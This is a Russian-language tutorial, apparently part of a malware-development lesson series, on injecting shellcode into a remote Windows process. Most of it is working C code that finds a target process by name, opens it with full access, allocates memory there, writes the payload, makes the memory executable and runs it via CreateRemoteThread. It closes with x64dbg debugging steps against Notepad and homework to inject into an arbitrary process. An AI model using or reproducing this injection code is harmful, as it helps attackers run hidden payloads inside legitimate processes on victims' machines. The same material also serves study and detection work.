Инъекция шелл-кода в процесс
Эта статья похожа на предыдущую DLL Injection с небольшими изменениями.
Инъекция shellcode в процесс будет использовать практически те же самые API Windows.
VirtualAllocEx - выделение памяти.
WriteProcessMemory - запись полезной нагрузки в удаленный процесс.
VirtualProtectEx - изменение защиты памяти.
CreateRemoteThread - выполнение полезной нагрузки через новый поток.
Перечисление процессов
Как и в предыдущей статье, инъекция процесса начинается с перечисления процессов.
Фрагмент кода для перечисления процессов, показанный ниже, уже был объяснен в предыдущей статье.
		C:
	
	BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {
// Согласно документации:
// Перед вызовом функции Process32First установите член dwSize в sizeof(PROCESSENTRY32).
// Если dwSize не инициализирован, Process32First завершится с ошибкой.
PROCESSENTRY32 Proc = {
    .dwSize = sizeof(PROCESSENTRY32)
};
HANDLE hSnapShot = NULL;
// Создает снимок текущих выполняющихся процессов
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE){
    printf("[!] CreateToolhelp32Snapshot завершилось с ошибкой: %d \n", GetLastError());
    goto _EndOfFunction;
}
// Получает информацию о первом обнаруженном процессе в снимке.
if (!Process32First(hSnapShot, &Proc)) {
    printf("[!] Process32First завершилось с ошибкой: %d \n", GetLastError());
    goto _EndOfFunction;
}
do {
    WCHAR LowerName[MAX_PATH * 2];
    if (Proc.szExeFile) {
        DWORD dwSize = lstrlenW(Proc.szExeFile);
        DWORD i = 0;
        RtlSecureZeroMemory(LowerName, MAX_PATH * 2);
        // Преобразование каждого символа в Proc.szExeFile в символ в нижнем регистре
        // и сохранение его в LowerName
        if (dwSize < MAX_PATH * 2) {
            for (; i < dwSize; i++)
                LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
            LowerName[i++] = '\0';
        }
    }
    // Если имя процесса в нижнем регистре совпадает с искомым процессом
    if (wcscmp(LowerName, szProcessName) == 0) {
        // Сохранить PID
        *dwProcessId = Proc.th32ProcessID;
        // Открыть дескриптор процесса
        *hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
        if (*hProcess == NULL)
            printf("[!] OpenProcess завершилось с ошибкой: %d \n", GetLastError());
        break;
    }
// Получает информацию о следующем процессе, зарегистрированном в снимке.
// Пока в снимке остается процесс, продолжаем цикл
} while (Process32Next(hSnapShot, &Proc));
// Очистка
_EndOfFunction:
    if (hSnapShot != NULL)
        CloseHandle(hSnapShot);
    if (*dwProcessId == NULL || *hProcess == NULL)
        return FALSE;
    return TRUE;
}
	Инъекция Shellcode
Для выполнения инъекции shellcode будет использована функция InjectShellcodeToRemoteProcess.
Функция принимает 3 параметра:
hProcess - Дескриптор открытого удаленного процесса.
pShellcode - Базовый адрес и размер расшифрованного shellcode. Shellcode должен быть в виде текста перед инъекцией, потому что его нельзя редактировать, когда он уже находится в удаленном процессе.
sSizeOfShellcode - Размер shellcode.
Функция InjectShellcodeToRemoteProcess - Фрагмент кода
		C:
	
	BOOL InjectShellcodeToRemoteProcess(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {
PVOID pShellcodeAddress = NULL;
SIZE_T sNumberOfBytesWritten = NULL;
DWORD dwOldProtection = NULL;
// Выделяем память в удаленном процессе размером sSizeOfShellcode
pShellcodeAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
    printf("[!] VirtualAllocEx завершилось с ошибкой: %d \n", GetLastError());
    return FALSE;
}
printf("[i] Выделена память по адресу: 0x%p \n", pShellcodeAddress);
printf("[#] Нажмите <Enter> для записи полезной нагрузки... ");
getchar();
// Записываем shellcode в выделенную память
if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
    printf("[!] WriteProcessMemory завершилось с ошибкой: %d \n", GetLastError());
    return FALSE;
}
printf("[i] Успешно записано %d байт\n", sNumberOfBytesWritten);
memset(pShellcode, '\0', sSizeOfShellcode);
// Делаем память выполнимой
if (!VirtualProtectEx(hProcess, pShellcodeAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
    printf("[!] VirtualProtectEx завершилось с ошибкой: %d \n", GetLastError());
    return FALSE;
}
printf("[#] Нажмите <Enter> для выполнения... ");
getchar();
printf("[i] Выполнение полезной нагрузки... ");
// Запускаем shell
if (CreateRemoteThread(hProcess, NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
        printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
        return FALSE;
}
    printf("[+] DONE !\n");
    return TRUE;
}
	Освобождение памяти в удаленном процессе
VirtualFreeEx - это WinAPI, который используется для освобождения ранее выделенной памяти в удаленном процессе. Эту функцию следует вызывать только после того, как полезная нагрузка полностью выполнена, иначе это может привести к освобождению содержимого полезной нагрузки и сбою процесса.
		C:
	
	BOOL VirtualFreeEx(
[in] HANDLE hProcess,
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD dwFreeType
);
	VirtualFreeEx принимает такие же параметры, как и API VirtualFree, но с единственным отличием: VirtualFreeEx принимает дополнительный параметр (hProcess), который указывает целевой процесс, где находится область памяти.
Отладка
Вообще отладка похожа как в этой статье:Уроки - Разработка малвари-12. Иньекция в процесс
В качестве домашнего задания, предлагаю написать проект инъекции в произвольный процесс и самостоятельно провести отладку по алгоритму ниже.)
Для примера, инъекция shellcode выполняется в процесс Notepad. Начните с открытия Notepad и присоедините к нему отладчик x64 xdbg.
- Запуск Notepad и xdbg. Запустите Notepad. Откройте xdbg и выберите "File" > "Attach" или используйте горячую клавишу (обычно F2). В списке процессов найдите Notepad и присоедините к нему отладчик.
 - Подготовка к инъекции. Перед тем как начать инъекцию shellcode, убедитесь, что отладчик находится в режиме ожидания (приостановлен).
 - Просмотр памяти Откройте окно "Memory" в xdbg, чтобы просмотреть области памяти, куда был инъектирован shellcode. Это позволит вам лучше понять, как он работает и что делает в памяти целевого процесса.
 
	